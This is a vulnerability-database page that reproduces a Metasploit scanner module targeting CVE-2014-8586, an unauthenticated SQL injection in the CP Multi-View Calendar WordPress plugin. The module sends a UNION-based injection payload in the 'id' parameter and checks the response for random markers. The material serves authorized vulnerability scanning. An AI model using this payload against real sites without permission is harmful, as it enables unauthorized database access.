Lucene search
K

WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner

🗓️ 16 Apr 2015 14:53:00Reported by Joaquin Ramirez Martinez, bperryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 30 Views

Scan instances for unauthenticated SQL injection in CP Multi-View Calendar plugin v1.1.4 for Wordpres

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner',
      'Description' => %q{
        This module will scan given instances for an unauthenticated SQL injection
        within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.
      },
      'Author'       =>
        [
          'Joaquin Ramirez Martinez', #discovery
          'bperry' #metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE' , '2014-8586' ],
          [ 'EDB', '36243' ],
          [ 'WPVDB', '7910' ]
        ],
      'DisclosureDate' => '2015-03-03'))

    register_options([
      OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/'])
    ])
  end

  def run_host(ip)
    right_marker = Rex::Text.rand_text_alpha(5)
    left_marker = Rex::Text.rand_text_alpha(5)
    flag = Rex::Text.rand_text_alpha(5)

    vprint_status("Checking host")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/'),
      'vars_get' => {
        'action' => 'data_management',
        'cpmvc_do_action' => 'mvparse',
        'f' => 'edit',
        'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"
      }
    })

    unless res && res.body
      vprint_error("Server did not respond in an expected way")
      return
    end

    result = res.body =~ /#{left_marker}#{flag}#{right_marker}/

    if result
      print_good("Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress")
      report_vuln({
        :host  => rhost,
        :port  => rport,
        :proto => 'tcp',
        :name  => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress",
        :refs  => self.references.select { |ref| ref.ctx_val == "36243" }
      })
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
8.4High risk
Vulners AI Score8.4
30